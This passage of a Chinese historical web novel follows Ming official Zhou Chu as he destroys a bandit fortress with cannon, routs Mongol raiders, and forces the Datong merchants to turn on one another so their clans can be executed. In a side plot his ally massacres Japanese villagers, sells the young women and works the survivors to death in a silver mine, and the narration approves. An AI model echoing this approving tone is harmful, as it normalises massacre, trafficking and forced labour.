周楚要做的就是要在采凉山附近将俺答的这一千多人尽量全歼,倘若能把俺答也活捉,那就更好了。 这三万多卫所兵,多半是用来围而不攻的,冲杀之事还得靠虎贲军。 采凉山上,张瞎子第一时间就得到了周楚率兵出城剿匪的消息。 “锦衣卫指挥使?那又如何?老子这山寨固若金汤,那三万卫所兵不过都是些软脚虾,有什么战力?” 张瞎子丝毫不惧。 他据险而守,山寨所在的位置极为险峻,易守难攻,如同一个堡垒,这让他丝毫没把三万卫所兵放在眼里。 毕竟卫所兵再多,但他山寨的营门就只有那么宽,除了营门之外,山寨的四周都被山石峭壁包围在其中,这种地形,能和他们的人接触打的卫所兵始终是有限的。 别说三万,就是十万,没有接触面积,人数优势丝毫发挥不出来。 这才是张瞎子的底气,也是王长山的底气所在。 “老大,那些卫所兵到山下了。” 山寨的岗哨来到张瞎子面前道。 “无妨,咱们就在这里等着他们,都不要出营寨,只要在营寨里,咱们就是安全的,咱们这营寨,水泼不进,火烧不进,只能正面硬攻。” 张瞎子满脸得意道。 周楚率领虎贲军来到了半山腰,张瞎子的营寨并不在山顶,也是在半山腰靠上的一个很陡峭的地方,四周都是峭壁,只有一处很窄的入口,还被他们打造成了山寨的入口。 “架炮!” 周楚看着眼前这种营寨,也只能用火炮轰击了,无论是虎贲军亦或是卫所兵在这种地形上都发挥不出有效的战力,只会被张瞎子的人用弓箭不断地射杀。 对于张瞎子有没有弓箭这一点,周楚丝毫不怀疑,王长山这些人能给蒙古人运送盐铁,张瞎子的人自然可以打造羽箭。 一门门子母炮很快便矗立在半山腰,黑洞洞的炮口直指一百多米外的张瞎子的山寨。 不是周楚不想继续推进,而是再往上没有架炮的地方了。 “开炮!” 周楚挥动手中的战旗,下令。 命令一下,顿时无数炮火开始轰鸣,原本在山寨之中信心满满的张瞎子,突然感到一阵地动山摇,整个人都懵了。 “到底怎么回事?” 张瞎子这才意识到事情似乎超出了自己的掌控,有些慌乱道。 “老大,是火炮,好多火炮,一直在轰击我们的营门,旁边的山壁都被轰塌了,死了好多兄弟。” 一个马匪满脸鲜血,连滚带爬的跑到聚义厅内道。 张瞎子听到这话,失神地瘫坐在山老大的座位上。 “怎么可能是火炮?大同城内满打满算也没几门火炮啊,就算是几十门红衣大炮也未必轰得开我这营门啊。” 张瞎子满脸不可置信道。 “大哥,下面的火炮好像无穷无尽,一直在轰击,都没停过,我们完了!” 山寨的二当家此时也跑了进来,满脸绝望道。 所有的事都有两面性,山寨易守难攻,同时也意味着一旦被对方攻破,他们将无路可逃。 二当家的这话刚落,一枚炮弹轰进了聚义厅,紧跟着是第二枚第三枚炮弹,张瞎子还没反应过来,聚义厅就被火炮轰的七零八落,他则被房梁砸断了大腿。 “啊!!” 张瞎子此时才感到了大腿传来的剧烈的疼痛,忍不住哀嚎了起来。 此时的俺答带着他的人马也已经到了采凉山山脚下,他们并没有进山,毕竟进山意味着要放弃战马,走进去,这对蒙古人而言,无异于以己之短攻彼之长。 俺答自然不会做出如此蠢的举动。 所以他决定在山脚下守株待兔,静等周楚的人马下山,到时候杀他们一个措手不及。 山上火炮不断轰鸣的时候,俺答脸色一变。 “不是说大同城内,没几门火炮吗?怎么会有这么多火炮?” 俺答脸色有些难看道。 要不是知道王长山是什么德行,此时的俺答都要忍不住怀疑是不是王长山勾结那个锦衣卫指挥使在给自己下套了。 “不过倒也无妨,这些火炮他们运下山都费劲,想要临时架炮,还要瞄准也不容易,等他们下山我们打他们一个措手不及。” 俺答面色阴狠道。 山腰上,周楚看着被火炮不断轰击而门户大开的马匪山寨,手中战旗一挥,示意停止射击。 每一枚炮弹可都是钱,大炮一响,黄金万两,不是没道理的。 既然已经轰开了缺口,想必山寨里的马匪已经死伤惨重,自然不需要继续轰击了,能省则省。 随后周楚继续挥动战旗,虎贲军看到战旗指令,纷纷有序向山寨冲杀了过去。 此时的营寨哪还有刚开始的模样,原本那些手拿羽箭值守的马匪此时被轰的七零八落的,放眼望去除了被轰杀的马匪,就是受伤极重,痛苦哀嚎的马匪。 安然无恙的基本都躲在了山寨的最深处。 此时张瞎子也受了重伤,整个人被圆木压着,动弹不得,眼看着虎贲军冲杀了进来,顿时满脸绝望。 在这之前,他甚至都没想过自己会败,更没想过自己会败的这么快这么彻底。 虎贲军进入营寨之后,如同虎入羊群一般,无一合之敌。 周楚要彻底清算大同城内的那些商人,包括王长山。 很快,被砸断了一条腿的张瞎子被两个虎贲军架到了周楚面前,张瞎子的特征太明显,瞎了一只眼,虎贲军按照周楚的命令,特意留了张瞎子一命。 “想活还是想死?” 周楚拔出绣春刀,用刀剑抬起了张瞎子的下巴,问道。 “要杀便杀,我还能有什么活路?” 张瞎子一副大义凛然的模样说道。 周楚听到这话,不以为意,因为他清楚张瞎子之所以如此,无非是觉得自己必死无疑罢了,倘若有活路,周楚相信他很不会如此强硬。 “自然是有活路,只要你交代大同城内都是谁和你们勾结,本官可以留你一命,还会找大夫给你接腿。” 周楚看着张瞎子,说道。 张瞎子听到这话,顿时一脸意动。 第207章 石见银矿,仓皇逃窜的俺答,班师回城 东瀛,平户岛旁边就是本州岛。 相对于平户岛,本州岛的面积要大得多,其西南部的靠近平户岛的地方,有个鸟根县。 周楚特意吩咐王直一定要第一时间拿下鸟根县。 王直自然没有辜负周楚的期望,当初整顿好平户岛之后,第一时间就直奔鸟根县而去,仅仅用了两天,就把鸟根县的东瀛人屠了个七七八八。 至于为何没有全部屠了,完全是因为王直来鸟根县的原因,这里有世界上最大的银矿,石见银矿。 石见银矿的位置,周楚很清楚,为此还特地给王直画了个粗略的地图,不然的话,此时这个银矿还没有被发现以及挖掘,让王直自己派人找的话,恐怕短时间内很难找到。 留下的这三成东瀛人之中,大多是年轻貌美的女人,王直准备直接运往大明,想必很多达官贵人很乐意享受一下东瀛女人的风情,这些女人应该能卖上不错的价格。 剩下的那些为数不多的东瀛人,王直则是留着挖矿用的。 根据周楚给出的地图,王直的人很快找到了石见银山,开始让人监督那些东瀛人挖矿。 东瀛人但凡敢偷懒,打死打残勿论。 王直倒也不担心打死的太多没有劳动力补充,因为本州岛的大名这些天正在不断派兵攻打鸟根县,试图将他的这块领地抢回去。 但这些东瀛人又怎么会是久经训练的大明将士的对手呢?更何况王直手中可是有枪炮的,对上这些东瀛人,简直是一面倒的屠杀。 有着这些东瀛人源源不断的补充劳力,银矿的挖掘工作就快了很多。 王直让人直接在鸟根县建造了很多熔炼银矿的锅炉,对银矿进行了初步的提炼,炼制成了粗劣的白银,然后通通装船,运往大明,到了大明之后再进行进一步细致的提炼。 当然,整个银矿的挖掘都是保密的,整座银山都有大明将士值守,这些东瀛人想跑出去难如登天。 “大人,山下有一股蒙古骑兵,大概在一千多人。” 这边张瞎子好不容易松口,虎贲军之中的斥候就来到了周楚面前汇报道。 听到这话,周楚丝毫不感到意外,他很清楚,俺答想的恐怕是要打自己一个措手不及,却也不想想,这是谁的地盘,他一个蒙古人带队奔袭几百里,已是疲劳之师。 原本想着的也不过是打自己一个措手不及,却不知自己早有准备。 “发信号吧。” 周楚看着旁边的沈炼道。 沈炼听到这话,顿时满脸兴奋,直接拿出火折子引燃了信号弹。 原本在山下伺机待发的俺答,看到天空之中的信号弹,心中顿时有种不妙的预感,他搞不明白周楚的人为何会突然发信号弹? 不过没等俺答想明白,原本隐藏在采凉山外围的三万大军纷纷围了过来,随着大军一起过来的,还有几十门子母炮。 这,才是周楚为俺答准备的见面礼。 即便不能全歼俺答的人,也要用火炮把他们轰杀大部分。 此时周楚已经率领虎贲军下山了,虎贲军的战马都停在山里,下来的时候,虎贲军纷纷上马,为的就是防止被蒙古人突然冲杀。 俺答看着山上下来近两千轻骑兵,而且各个看上去都不一般,不论是铠甲亦或是身形,恐怕都不是一般的士兵。 这让俺答瞬间意识到大事不妙,自己恐怕被眼前这个锦衣卫指挥使算计了。 “撤!” 俺答大喊道。 战场上,无论是进攻还是撤退,一定要果断,切忌优柔寡断,多犹豫一秒钟,可能就会多死无数士兵。 俺答已经够果断了,在外围的卫所兵还没有彻底形成合围之前,就率兵向西北方向奔袭而去。 周楚看着撤退的蒙古人,并没有让虎贲军追杀,首先是追不上,大明的战马和蒙古马耐久力相差太多。 其次那边正是周楚为俺答的人马预留的火力覆盖的范围,此时的虎贲军追上去,只会被火炮误伤。 外围负责指挥卫所兵的不是别人,正是林鹿,以林鹿侯爵加上公主府长子的身份,卫所兵自然无有不服,更何况还是周楚亲自任命的。 林鹿眼看蒙古人进入了火炮的射程之内,林鹿果然挥动旗子示意炮手射击。 又是一轮轮的火炮齐射,蒙古人即便跑的再快,但在这种大范围的火力覆盖之下也是无济于事,一时之间,蒙古人人仰马翻,死伤惨重。 俺答此时终于明白了自己为何会有那种不好的预感了,原来从始至终自己都被算计了。 只是俺答不清楚,算计自己的到底是这个锦衣卫指挥使,还是那些商人联合这个锦衣卫指挥使一起算计的自己。 不过不管是哪个,俺答都下定了决心,只要自己能活着回去,一定第一时间带领部落转移,毕竟王长山的人知道自己部落所在的位置,倘若是王长山出卖了自己,不及时转移的话,整个部落都会陷入万劫不复之地。 俺答听着耳边火炮的轰鸣,他甚至连同伴的惨叫声都听不到了,此时的俺答什么都顾不上了,只顾着埋头往前冲。 此时又体现了蒙古马的另一个优点,虽然在火炮轰鸣之中,有很多蒙古马受惊,但也有一部分仍然继续奔跑,比如俺答的战马。 俺答的战马是他从小亲自养大的,可以说心意相通,俺答骑着战马一路疾驰,终于冲出了火炮的火力覆盖范围。 俺答回头的时候,只看到寥寥数十人和他一样,冲出了大明士兵的包围圈。 原本一千多人,甚至只来得及和周楚打一个照面,就被火炮轰杀的只剩下几十人了,损失不可谓不惨重。 最让俺答无法接受的是,他们白来一趟,什么目的都没有达到,却损兵折将。 他们部落的所有年轻力壮的基本上都在这里了,等下一茬年轻的小孩长起来,最起码还得好几年。 这几年的时间,他们恐怕只能东躲西藏了。 俺答深深地看了一眼背后的采凉山,这里是他的折戟之地,他暗自发誓,以后一定要杀回来。 随后他便带着剩下的几十个骑兵,头也不回的直奔草原而去了。 “大人,那些蒙古人跑掉了几十个。” 林鹿满脸愧疚道。 一切都发生的太快,林鹿看到信号弹的时候,已经让士兵以最快的速度对蒙古人尝试合围了。 “不能怪你,蒙古人何等警觉?想要对他们合围而不引起他们的警觉谈何容易?” 周楚无所谓道。 “就是不知道俺答跑掉了没有。” 周楚喃喃自语道。 “班师回城吧。” 周楚下令道。 虎贲军混进了卫所兵之中,和大军一起回到了大同,两千虎贲军并没有引起注意。 王长山和胡铎等人得知周楚居然得胜归来的时候,大吃一惊。 “王老爷,这周楚不能是出去转了一圈就回来了吧?” 胡铎有些不确定道。 “应该是如此,我看他压根就没想剿匪,那采凉山难攻,糊弄我们也不是这么糊弄的吧?我倒要看看,回头他交不出张瞎子,该如何向我们交代!” 王长山冷笑道。 第208章 周楚:你们真的想见张瞎子吗? 眼看周楚带着大部队浩浩荡荡的在回城的路上,王长山为了造势,为了让周楚下不来台,特意将大同城内的富商豪绅都叫到了城门口迎接周楚。 他心中笃定周楚并没有去采凉山剿匪,而是出城溜达了一圈就回来了。 倘若是王长山自己,他当然不好质问周楚为何没去剿匪,但大同的所有富商和士绅都出钱了,王长山不相信周楚脸皮会这般厚,到时候面对他们这些人,总归是要给个交代的。 周楚率大军来到大同城门口的时候,看着城门口那黑压压的人群,顿时意识到了什么,心中冷笑。 自己不去找王长山他就该烧高香了,哪有人还会带人自己往枪口上撞的,还真是贴心。 “恭喜大人得胜归来。” 王长山在众人面前,十分的嚣张,即便是胡铎这些官员也都站在他身后。 “全赖王老爷和各位老爷出的钱,将士们得到了好处,自然会竭尽全力,区区张瞎子,又岂是我大军一合之敌?” 周楚满脸春风得意道。 王长山听到这话,愈发确定了周楚是在吹牛。 那采凉山张瞎子的山寨他不是没去过,就那种山寨,去多少人都不好使,再多的人根本无处下脚,只能沦为活靶子。 原本王长山的打算是让张瞎子和俺答的人前后夹击,如此一来能取了周楚的命最好,即便取不了周楚的命,倘若大军损失惨重,周楚也会被朝廷问责,很难在大同待下去了。 不得不说,王长山的算盘打的很响,换成其他任何一个人都极有可能着了他的道,偏偏他遇到的是周楚。 “哦?这么说周大人将张瞎子这伙马匪全都剿灭了?” 王长山眼睛一亮道。 “那是自然。” 周楚坐在乌骓马上,居高临下地看着王长山道。 “不是在下信不过周大人,只是在下听闻张瞎子的山寨易守难攻,周大人是如何在这么短的时间内攻下他的山寨的?” 王长山一副虚心请教的模样道。 “这就不劳王老爷挂怀了,此乃我军中机密,王老爷打听这些,莫非心怀不轨?” 周楚眉毛一挑道。 此时的周楚完全是拿王长山逗闷子玩,原本他完全可以直接将张瞎子带到王长山面前的,不过周楚却是一点都不着急。 “不是在下怀疑大人的话,只是我等拿出一百万两让大人剿匪,大人总得让我们听个响,大人倘若只是一句话,让我等如何信服?” 王长山不怀好意道。 “就是,大人,我等出了钱的,总得看到张瞎子的尸首吧?” 王长山身后,一个富商不满道。 其他人听到这话,也纷纷跟着附和。 “王老爷真的想见张瞎子?” 周楚看着王长山调侃道。 “自然是活要见人,死要见尸。” 王长山满脸笃定道。 实际上他并非真的想见张瞎子,毕竟他们和张瞎子勾结,倘若真的看到了张瞎子,他们反而会慌了,不过王长山等人笃定周楚没有剿匪,说这话无非是让周楚难堪罢了。 “既然诸位这么想见张瞎子,本官也不好一意孤行,来人,将张瞎子带过来。” 周楚说道。 周楚话音刚落,他身后的大部队分出一个口子,张瞎子被两人押着来到了众人面前。 看到张瞎子,无论是王长山还是其他商人脸色瞬间就变了,他们怎么都没想到周楚居然来真的。 张瞎子的出现,打乱了他们所有的计划,即便是王长山这种老狐狸,看到张瞎子的瞬间,脸色也是控制不住的慌乱了起来。 “怎么?王老爷不认识张瞎子?” 周楚看着张瞎子强自镇定的面容,冷笑道。 “周大人说笑了,在下怎么会认识张瞎子呢?不过看这个样子,应该就是张瞎子无疑了。” 王长山勉强笑道。 “可是张瞎子不是这么说的。” 周楚脸色一变道。 “张瞎子,到底是谁勾结你们,杀害之前的几任知府,你现在一一指认出来。” 周楚看着张瞎子,厉声道。 听到这话,原本那些还只是有些慌乱的商人,顿时变得无比惊慌了。 王长山原本还略显淡定的脸色瞬间绷不住了。 “大人何出此言?此人是马匪,为了活命胡乱攀咬在正常不过,这种人的话一句都不能信。” 王长山急忙说道。 “是啊大人,我等出钱剿匪,又怎么会有人和马匪勾结,这说不通啊。” 另一个商人也试图撇清责任道。 不怪他们自乱阵脚,任谁面对这种局面,也没办法什么都不说。 “各位别急,他说他的,本官自会选择性的听,当然,也会调查清楚,毕竟这是我锦衣卫的职责所在。” 周楚笑道。 听到这话,王长山的脸色变得很难看,一旦涉及到锦衣卫,那他们还能有个好? 倘若是以前的锦衣卫,他们根本不放在眼里,甚至那时候大同的锦衣卫毫无话语权。 但现在不同了,锦衣卫指挥使亲临大同,关键是如今的锦衣卫指挥使不仅掌握了军权,还在短时间内就将张瞎子这伙最麻烦的马匪给剿了。 此时不论是王长山还是其他人,都意识到大事不妙。 “回大人的话,这王长山、李文生......” 张瞎子既然决定将王长山等人供出来,自然不会犹豫,他算是看清楚了,如今的大同局势完全在周楚的掌控之下。 忤逆周楚,等于找死。 张瞎子很怕死,他如果不怕死的话,就不会和王长山这些人沆瀣一气了,干脆自己直接抢,谁的脸色都不用看,岂不快哉? 只要能活下去,别说出卖王长山这些人了,让他亲自带人灭了王长山满门他都不会有二话。 “诸位,随本官到锦衣卫所走一趟吧,调查清楚之后,本官自会还诸位一个公道。” 周楚看着王长山等人,满脸笑容道。 王长山等人脸色都变了,他们很清楚,周楚说得好听,但如果他们真的信了,怎么死的都不知道。 第209章 绝望的王长山,虎贲军的训练强度 此时面对周楚,王长山等人泛起一股从未有过的无力感,论权谋算计,他们拿周楚完全没办法,论武力,此时的周楚掌握了数万大军,刚刚剿匪回来,士气正盛,恨不得拿他们祭旗呢。 所以即便王长山等人再怎么不愿意,却也不敢说一个不字。 就连胡铎等官员,也都是有眼色的,如胡铎这种,首先想的不是保王长山这些人而是如何自保。 只要这事波及不到自己,他恨不得周楚没注意到他呢,又怎么会站出来为王长山说话。 能当官的,谁没个眉眼高低?在数万大军面前忤逆周楚?那和活腻了没什么两样。 谁都知道,眼前的这位锦衣卫指挥使可是有便宜行事之权的,即便是将他们就地斩杀,也在便宜之内。 如果是一般的锦衣卫指挥使,他们或许还敢多说两句话,但周楚之前在京城的那些事迹,胡铎这些人不是不知道。 有时候知道的越多,胆子就越小,胡铎他们本身官职就差了周楚不知道多少,即便是想硬气也硬气不起来。 这里不是太原,大同远离山西省的权力中枢,离太原的距离甚至和京城的距离差不多,真正的天高皇帝远,朝廷管不着,巡抚也管不着。 所以大同的这些人才会如此的肆无忌惮。 当然,大同只是一个缩影,山西的商人私通蒙古人的,可不止大同的这些。 周楚带着王长山等人,并没有回军营,而是直奔锦衣卫所,至于大军,由林鹿带着归营了。 两千虎贲军被安插在军营之中,负责这三万大军的训练,每个虎贲军负责训练十几人。 这让虎贲军的将士们一个个都无比兴奋,以往他们都是被周楚或者林鹿练的死去活来的,在虎贲军之中,从来没有适应训练强度这个说法,等他们适应的差不多了,周楚便会把训练强度继续往上加。 当然,不会无上限的加,但现在的训练强度,也足以让每个虎贲军精疲力尽了。 也正是因为这种高强度的训练,才有了如今虎贲军的战斗力。 即便虎贲军给这些卫所兵用的训练强度很低,甚至低于他们最初训练的强度,但这些卫所兵都被练的死去活来的,有的被练哭了,哇哇哭,有的被练吐了。 “大人,这种训练强度,九成九的人都完不成,真的能用来练兵吗?” 一个千户来到林鹿面前,高声道。 听到这话,原本正在训练的士兵纷纷看向了林鹿,他们希望林鹿能因此降低训练难度。 “这就觉得难了?” 林鹿看着眼前的千户道。 “确实很难,大人。” 千户硬着头皮道。 “王登奎!” 林鹿没有回答这人的话,而是直接喊了一个名字。 “到!” 一个虎贲军的士兵,听到林鹿叫自己的名字的时候,急忙来到了林鹿面前,站的笔直。 “给他们展示一下你的训练强度。” 林鹿看着王登奎道。 “是,大人。” 王登奎说完这话,如同出笼的野狼一般,开始在训练场地上展示他的一个个训练项目。 那强度和速度,看的一众卫所兵目瞪口呆,看王登奎的目光仿佛看神仙一般。 刚才还在说训练强度过大的千户,也是看的目瞪口呆,这等速度和强度,即便是他也远远做不到。 毕竟这个千户之前不过是一个什长罢了,单论武力远不是王登奎的对手。 王登奎展示完之后,已经是满头大汗,这种强度,即便是对如今的虎贲军而言,也一点都不轻松。 “他叫王登奎,既不是伍长,也不是什长,只是一个普通的士兵。” 林鹿看着王登奎,然后看向一众卫所兵,高声道。 原本还心有不满的卫所兵听到这话,一个个都低下了头,再也不敢有任何不满的情绪。 “王登奎,跟大家汇报一下我军之前的战绩。” 林鹿看着王登奎,高声道。 “是,大人。” 王登奎高声回道。 “于苏州府平叛,两千对十二万多叛军,全歼叛军,伤十二人,零阵亡。” “于崇明岛对阵三千多倭寇,歼灭倭寇三千余人,其余活捉,零阵亡。” ....... 对于过往的战役,虎贲军的任何一个将士都倒背如流,这是他们的荣耀来源,也是整个虎贲军以后将会传承的军魂。 那些卫所兵听着如此恐怖的战损比,一个个都傻眼了,满脸不可置信,这等战损比完全不像是真实存在的,更像是编出来的。 但他们很清楚,虚报战功乃是重罪,特别是这等夸张的战损比,基本不存在作假的可能。 等王登奎如数家珍般,将之前虎贲军的战绩一一报完之后,林鹿满意地点了点头。 “归队吧。” “是!” 王登奎这才回到了原本的位置。 “这些训练项目,都是周大人亲自制定的,给你们的训练难度,不过是最低的,你们作为老兵,倘若这种训练强度都承受不了,不如回家种地。” 林鹿说完这话缓了缓。 “周大人一直都在强调一句话,平时训练多流一滴汗,战场上就会少流一滴血,别看现在训练难度很大,但将来上了战场,你们就会知道现在的训练,能更大程度上保证你们存活下来。” “你们训练与否,于我,于周大人有什么好处呢?说白了,周大人是为了你们着想,不要等到在战场上送命的时候,才去后悔当初没有努力训练。” 林鹿高声道。 卫所兵们听到这些话,一个个如同被打了鸡血一般,原本还在哭的士兵,擦了擦眼泪,起身继续训练,正在吐的士兵吐完之后继续训练。 “还有问题吗?” 林鹿看向那个千户道。 “没有,大人!” 千户此时也是热血沸腾。 “那就去训练。” 林鹿呵斥道。 锦衣卫所之中,周楚看着眼前被带来的这些商人,满脸笑容。 “诸位倒也不必紧张,等调查清楚之后,如果诸位没问题的话,自然会还诸位一个公道,不过倘若诸位有问题的话,那可就是重罪,勾结马匪,如果再有点其他的事,诸位以及诸位的家族,一个都跑不掉。” 周楚语气和缓道。 即便周楚的语气再和缓,但说出的话却让王长山等人心中一紧。 “当然,我这里还有条路留给诸位,本官需要留下那么一些人,将来为我找到蒙古人所在的地方,此次剿匪,蒙古人突然出现在采凉山,被我消灭了九成,想来他们回道草原之后会转移。” “届时本官需要有人去找到他们以及其他蒙古人的所在地,这部分人即便有罪,也可以活,但谁成为这部分,就看诸位谁先坦白,或者说谁提供的信息够多了。” 周楚喝了口茶道。 王长山听到这话,脸色巨变,他很清楚,周楚此话一出,肯定会有人为了活下去,把他们给卖了。 此时他们能争取的就是时间,谁先说出来,或许才能活下去。 “把他们单独关押起来,要是有谁想和本官说什么,和看管你们的锦衣卫说一声即可。” 周楚笑道。 此时周楚的笑容在王长山等人看来,是那么的可怖。 第210章 囚徒困境,抄家灭族,周楚的谋划 王长山被关押起来之后,越想越觉得不对。 他们这些人被分开关押,周楚却只给了几个能活命的名额,那么谁也不敢保证为了活命其他人会不会把他们都出卖了。 要知道他们做的那些事,随便抖搂出去一件,都够抄家灭族的,谁又不知道谁的底细? 一旦别人先开口了,他们就没有任何机会了。 王长山越想头越大,他几乎敢肯定,此时已经有人把他给出卖了,如果再晚些决定的话,自己和王家就彻底完了。 “我要见周大人,我有事交代。” 想明白这些关节的王长山,再也不敢犹豫,急忙敲响了关押着自己房间的门。 门外却是无人回应,这让王长山的心沉到了谷底。 “快开门,我有要事向周大人交代。” 王长山愈发癫狂,疯狂的拍门。 “王老爷不必敲了,大人说了,王老爷和其他人不一样,大人不想听王老爷说任何话。” 门口值守的锦衣卫不厌其烦,终于开口了。 王长山听到这话,满脸的不可置信,此时他的脑子一片混沌,根本想不明白周楚为何如此。 他的第一反应是门外值守的锦衣卫在撒谎。 “你说谎,周大人不是说了只要我有话交代就可以见他吗?” 王长山愈发癫狂道。 “大人说了,想要掌控狼群,头狼是必须要杀掉的。” 锦衣卫实在是被他吵的烦不胜烦,不耐烦道。 王长山听到这话,瞬间瘫坐在地。 “完了!彻底完了!王家完了,我也完了!” 王长山此时哪里还有以往王老爷的做派,像一个疯子一般坐在地上喃喃自语。 王长山预料的不错,因为周楚设置的囚徒困境,谁都不敢赌,对他们而言,他们只需要比其他人快一步向周楚这位锦衣卫指挥使交代够多的信息,他和他的族人就有可能活下去。 反之,被其他人抢了先机,他们就会成为其他人活下去的筹码,被献祭掉。 谁都不敢赌。 周楚甚至连一刻钟都没等到,手下的锦衣卫就来汇报,有好几个人要见自己。 “一个个来吧。” 此时的周楚丝毫不急,谁掌握的信息够多,特别是掌握的蒙古部落位置信息更多,谁就能活下去。 出卖其他人,不过是周楚要他们给的一个投名状罢了,周楚要断了他们的后路,如此用起来才能相对放心。 当然,也只是相对放心罢了,这些人一旦有机会,肯定会耍心眼子,所以即便是到时候去找蒙古人的位置,周楚也会让人严密监视着他们。 “小人李蹇,拜见大人。” 第一个见到周楚的是李蹇,他来到周楚面前,满脸谄媚道。 “说说吧,你都知道些什么,知道的越多,活下去的机会就越大,你后面还有好多位排着呢。” 周楚看着眼前的李蹇,略带调侃道。 李蹇听到这话,心里咯噔一声,他往屋外看了看,发现却是有其他人在门外候着,原本他只是想着交代一些不太重要的蒙混过关,现在看来,根本行不通。 “大人,王长山这老小子私通蒙古人,向蒙古人贩卖盐铁。” 李蹇一咬牙,直接说出了一个猛料。 周楚听到这话,并不意外,满意地点了点头。 “还有吗?” ........ 有了李蹇这些人争先交代,接下来的事就好办多了,该抄家的抄家,该满门抄斩的满门抄斩。 毕竟私通蒙古人,等于通敌叛国,满门抄斩毫不为过。 对于这些商人的处理方式,周楚自己就可以决定了,毕竟北镇抚司就有这个权限,更不用说周楚这个锦衣卫指挥使了。 王长山等人和路瑛不同,路瑛是大同守将,边镇大将的该如何处置,最好是由皇帝来。 但王长山这些人说破了大天也不过是区区商人,周楚处置他们,还不需要向皇帝请示。 之前将王长山等人抓起来的时候,为了防止他们家的人偷偷转移,周楚已经派锦衣卫盯紧了这些人的家,保证一个苍蝇都飞不出去。 这些人的互相攀咬,让周楚及锦衣卫掌握了很多关键的信息,比如谁在哪有一处外宅,外宅里面藏了很多银子。 他们这些人大多都知根知底,一旦开始互爆,对他们每个人而言都是致命的。 为了抄家的效率,周楚特意让虎贲军都加入了抄家的队伍之中,仅仅是王家一家,就抄出了黄金十万两,白银三千多万两,铜钱三万万贯,珠宝古玩更是数不胜数。 这其中有一部分是靠着煤矿赚的钱,另外一部分则是靠着私通蒙古人赚的。 王家作为整个大同的首富,甚至在整个山西都是赫赫有名的存在,实力自然是非同寻常,远不是李蹇这种商人能比的。 这也是为何周楚一定要弄死王长山的原因。 王长山死而不僵的话,周楚一个不留神,他就可能搞事情,狼群只有没了头狼之后才好统领,头狼只要还活着,狼群就会有自己想法,随时都可能反噬。 趁着这次机会,周楚将大同的锦衣卫内部存在问题的那些人也一次性肃清了,李蹇这种人连王长山都出卖了,又怎么会在意锦衣卫呢。 锦衣卫之中和这些人有利益往来的,全都被周楚一网打尽。 这次抄家持续了很久,前前后后半个月左右的时间,才算是彻底抄干净。 其他那些家加起来,也不如王长山一家的家产多,这就是商人,钱越多,资源越多,赚的也就越多。 怪不得王长山在大同城内有王半城的外号呢。 这些钱,周楚留了一百多万两,作为大同卫所兵未来几年的军费,并且设定了严格的监管机制,发放军饷的时候不经过军中那些百户千户的手。 对于这些新任命的百户千户,周楚谈不上多信任,正所谓前有车后有辙,屠龙少年终成恶龙的例子自古以来不在少数。 除了这一百多万两之外,周楚又拿出五百万两留作虎贲军的军费。 周楚一有机会就会给虎贲军预留军费,就是为了防止自己将来一旦出了事,或者百年之后,虎贲军会被清算。 只要有足够的军饷,朝廷便不会清算如此一支劲旅,只有朝廷养不起的时候,才会如此。 至于周楚自己,则从那些古玩字画之中挑选了一些自己喜欢的,留了下来。 剩下的大部分都堆放在库房之中,用一辆辆马车往京城运,不过这一批财物太多,又没有水路可以走,且得运一段时间呢。 这批财物运送的人,不是别人,还是由北镇抚司陆万山负责。 这对北镇抚司而言,已经是轻车熟路了,最近这段时间没干这个活,无论是陆万山还是北镇抚司的锦衣卫都十分想念。 毕竟运送一趟就有一趟的好处费。 这也是周楚和嘉靖对北镇抚司放心的原因,除了他们该拿的部分,不会有人敢乱伸手,但凡有人伸手,其他人都会饶不了他,这等于砸了所有人的饭碗。 至于草原上的俺答,周楚已经不把他放在眼里了,俺答上次带来的人被杀的十不存一,即便回去,几年之内也不会有所作为。 俺答即便想要统合蒙古部落,登上大汗之位,也需要足够的兵马才行,草原上可不是个讲道理的地方。 在这之前,周楚就会给他来一个釜底抽薪,将其他的蒙古部落尽数剪灭。 俺答的部落是转移了,其他的蒙古部落可没有。 第211章 嘉靖的决定,大同总兵林鹿,海瑞求学 这些天,周楚的奏疏一封封送往京城,向嘉靖汇报大同发生的事。 直到最后总结的奏疏被送到御书房之后,嘉靖看完之后很是高兴。 “不愧是衡器,朕没想到大同的局势居然复杂至此,这要是贸然让稚心前往大同,恐怕会被这些人算计。” 嘉靖感慨道。 “陛下,这些钱财往外报多少?” 黄锦此时在帮嘉靖整理着这些财报,为嘉靖起草对外的文书。 “三千万两吧。” 嘉靖想了想,三千万两入国库还是有必要的,毕竟国库每年的支出都有四五千万两。 去年周楚抄的钱财很多,多到足以让大明未来二三十年不必为钱财发愁,但这些钱大多数都进了嘉靖的内帑了。 其中甚至有很多是见不得光的。 真正入国库的,其实也就够大明财政支出五六年的。 嘉靖现在有钱,很有钱,甚至多到他自己都不知道自己具体有多少钱,所以此时他不介意往国库里多放一些钱。 就在前两日,来自东瀛的第一批运银船已经抵达了天津码头,嘉靖直接让人在天津就地组建了一个专门熔炼白银的衙署。 嘉靖很清楚,未来的大明不会缺白银,真正缺的是基础的东西,比如稻米。 安南那边的稻米可以偷偷运往大明,以备不时之需,却不能轻易流入市场,倘若安南的稻米大批量流入市场的话,势必会造成粮价的崩盘,粮价一旦崩盘,最苦的不是别人,而是底层百姓。 治大国若烹小鲜,其中的火候分寸一定要掌握好,多一点少一点,落实到地方之后就会被无限放大,很可能就是一场灾难。 等黄锦整理的差不多之后,再让人给周楚快马加鞭的送回去,周楚再像模像样的写了一份明面上的奏疏,直达内阁。 杨一清和杨慎看到这封奏疏的时候,心情是完全不同的,杨一清震惊于周楚这位锦衣卫指挥使的能力,大同的问题存在了多少年了,朝廷能不知道吗?肯定是知道的。 这其中甚至有很多文官参与其中,有利益瓜葛。 不过之前和大同那些商人士绅有瓜葛的京官,早在一年前周楚以自己锦衣卫指挥使职务换了一千个官员的时候,就清算了大半。 剩下的一小半,又被陈万言折腾没了许多,现在还剩下的,寥寥无几,在朝中自保都很难,根本不敢替大同那边的人说话。 即便如此,对于周楚能够如此快的犁清大同的那些烂遭事,杨廷和还是大感意外。 甚至周楚还顺手灭了一千多蒙古骑兵,这份功绩,这种能力,杨一清只是看着就觉着心惊。 大同的那种局势,谁去了都不好使,偏偏周楚这才去了多久,就快刀斩乱麻般的解决了? 不过想想周楚之前在京城和江南做的那些事,杨一清不禁一脸苦笑。 幸亏这位现在在大同折腾,他在京城的日子才能好过一些,否则周楚一直在京城的话,杨一清甚至能想象到自己的话语权会被压缩到极致。 这是杨一清接受不了的。 杨慎看到这封奏疏之后,更多的是高兴,,为周楚高兴,为皇帝高兴,为大明高兴。 